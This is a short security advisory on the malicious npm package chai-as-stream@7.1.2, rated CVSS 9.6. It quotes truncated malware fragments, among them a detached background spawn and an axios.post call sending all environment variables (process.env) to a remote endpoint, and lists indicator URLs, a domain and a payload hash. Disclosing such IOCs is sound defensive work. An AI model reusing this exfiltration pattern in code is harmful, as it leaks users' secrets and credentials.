GCVE-110-OSM-2026-3024

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published April 22, 2026

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code. Payload: lib/initializeCaller.js Key findings: - Stealth Background Process Spawning in index.js: "spawn('node', [scriptPath, JSON.stringify(args)], { detached: true, stdi..." - Fetch and Eval/Exec in lib/initializeCaller.js: "axios.post(apiEndpoint,{ ...process.env },{ headers: { headers: { [apiHeaderKey]..." - Decoded Base64 Content in lib/const.js - Decoded Base64 Content in lib/initializeCaller.js - IOCs Found in Deobfuscated Code in lib/initializeCaller.js IOCs: - urls: http://192.168.1.42:9200, https://royceav.com/issues, https://checkmyip-zeta.vercel.app/api/ip-check-encrypted/3aeb34a333 - domains: checkmyip-zeta.vercel.app - _domainCandidates: checkmyip-zeta.vercel.app - payloadFileHash: e15f3b536bd2a7a953186bb25f06562eb0326e24eea5770611ae39f7b1ef6be5 Decoded/deobfuscated IOCs: - urls: https://checkmyip-zeta.vercel.app/api/ip-check-encrypted/3aeb34a333 - domains: checkmyip-zeta.vercel.app

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	chai-as-stream@7.1.2	all (affected)	—

References

Malicious npm package: chai-as-stream@7.1.2

advisory

vendor

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